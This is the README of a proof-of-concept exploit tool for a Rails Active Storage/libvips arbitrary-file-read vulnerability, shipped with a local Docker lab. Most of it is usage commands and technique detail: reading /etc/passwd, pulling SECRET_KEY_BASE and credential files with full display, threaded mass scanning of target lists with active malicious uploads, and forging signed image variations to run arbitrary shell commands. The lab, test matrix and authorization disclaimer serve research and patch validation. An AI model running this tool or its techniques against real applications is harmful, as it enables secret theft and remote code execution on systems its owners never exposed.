
Single-file PoC for Rails CVE-2026-66066: arbitrary file read, secret recovery, threaded scanning, and conditional RCE via signed image variations.
A zero-dependency, single-file proof of concept and loopback-only Docker lab
for the Rails Active Storage/libvips arbitrary-file-read vulnerability. It also
demonstrates the advisory's conditional escalation from a recovered
secret_key_base to a forged image variation and command execution.
Primary references: Rails advisory, Rails forensic analysis, the Ethiack technical write-up, and the 8.1.3.1 release.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py contains the complete client in one file:
h5py or numpy;The tool does not install packages, start a callback listener, require curl
on the target, or depend on make. The RCE stage uses the built-in Active
Storage representation route and does not require a Marshal gadget.
Start the vulnerable lab:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
The Compose port is bound to 127.0.0.1 and the container runs as an
unprivileged user with all Linux capabilities dropped.
In another terminal:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Run python3 kr2s.py COMMAND --help for all overrides. Common real-application
controls include --harvest-url, --show-path, --proxy, --insecure, and
--skb.
secrets --show-full prints complete matched environment-variable values.
Without it, the tool prints only the first 12 characters and an ellipsis.
Files requested with --also-read, including the default Rails credential
paths, are printed up to 600 characters when readable.
Passive scan only reports whether the page exposes a harvestable Active
Storage representation; it cannot identify the installed Rails patch level.
scan --active uploads a malicious blob and attempts the canary read. A failed
active result is labelled BLOCKED_OR_INCONCLUSIVE, not SAFE, because WAFs,
authentication, unsupported variations, and the Rails fix can look identical
from outside the application.
Stop the lab with:
cd lab
docker compose down
image/png.matload; target-file bytes
become image pixels and return in a generated PNG.The hybrid file satisfies two parsers at once: its text starts with
MATLAB 5.0, while the version word at offset 124 selects the HDF5-backed
MATLAB 7.3 path. Rails' fix blocks libvips operations marked untrusted before
an attacker-controlled file can reach matload.
rce first reads SECRET_KEY_BASE from /proc/self/environ, unless --skb
is provided. It derives the Active Storage verifier key and signs a JSON
variation containing an instance_eval operation. On the affected vips path,
the operation reaches Vips::Image.public_send. The PoC sends it through the
built-in representation route, runs the supplied command through /bin/sh,
and captures both output streams.
This second stage is conditional on recovering the signing secret and reaching the vulnerable vips transformation behavior described in Ethiack's analysis of CVE-2025-24293. The CVE-2026-66066 patch closes the file-read entry point; it is not a general fix for previously leaked signing secrets. Rotate secrets after suspected exposure, as the Rails advisory recommends.
Command output is written to a random /tmp/.kr2s_* file, recovered through
the same file-read primitive, and then removed with a second signed payload.
Reads return the requested fixed-size region. If the source is shorter, its
prefix is followed by zero bytes. Use --offset for subsequent regions.
The default lab variation only converts to PNG, so recovery is byte-exact.
Real applications may resize variants. The harvested-key mode uses a one-pixel
column to avoid horizontal resampling, but a variation with a lower height can
still change the geometry. In that case the client fails explicitly; reduce
--size or harvest a non-resizing representation.
Every command is intrusive: it creates persistent Active Storage blobs and may
create processed variants. rce additionally executes the supplied command.
The matrix script builds each release, runs real read and RCE checks on vulnerable versions, asserts that reads are blocked on fixed versions, and returns nonzero on any mismatch:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validated on 2026-07-31 with Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0, and libvips 8.16.1:
Patched rows deliberately do not fire an RCE payload with a pre-supplied signing secret; the matrix tests the CVE's file-read boundary.
research/craft.py regenerates candidate payloads for loader research and
requires h5py plus numpy. It is not imported by the release PoC.
lab/probe/probe.sh inspects those candidates with ruby-vips inside a lab
image:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
Run the dependency-free unit tests with:
python3 -m unittest discover -s tests -v
The MAT/HDF5 payload and dependency-free client were developed through local testing. After public PoCs appeared, this release incorporated variation-key harvesting and built-in Active Storage routes documented by Zer0SumGam3's PoC. The Python implementation here is original and standard-library-only.
An earlier revision demonstrated that RCE was also possible with a signed
Marshal payload using Puma::MiniSSL::Context and an ActiveSupport proxy,
based on Behrad Taher's public gadget research.
That route avoided target-side helper binaries, but required a Marshal-capable
signed-ID sink plus loaded Puma and ActiveSupport gadget classes. It was
replaced after the Ethiack Research Team published their
KindaRails2Shell technical write-up,
which documents the simpler signed JSON variation technique. It uses a stock
route and removes those preconditions.
Discovery credit belongs to André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho and the Ethiack Research Team, and RyotaK (GMO Flatt Security). Abdelmounaim Moulahcene (bl0rph) independently published the underlying primitive shortly before the coordinated disclosure. See the Rails forensic repository for the maintainers' full timeline and credits.
Use only on systems you own or are explicitly authorized to test. The authors accept no liability for misuse. See SECURITY.md for reporting issues in this research artifact.
Released under the MIT License.
| Rails | File read | RCE check | Result |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | pass |
| 7.2.3.2 | blocked | not run | pass |
| 8.0.5 | READ-OK | RCE-OK | pass |
| 8.0.5.1 | blocked | not run | pass |
| 8.1.3 | READ-OK | RCE-OK | pass |
| 8.1.3.1 | blocked | not run | pass |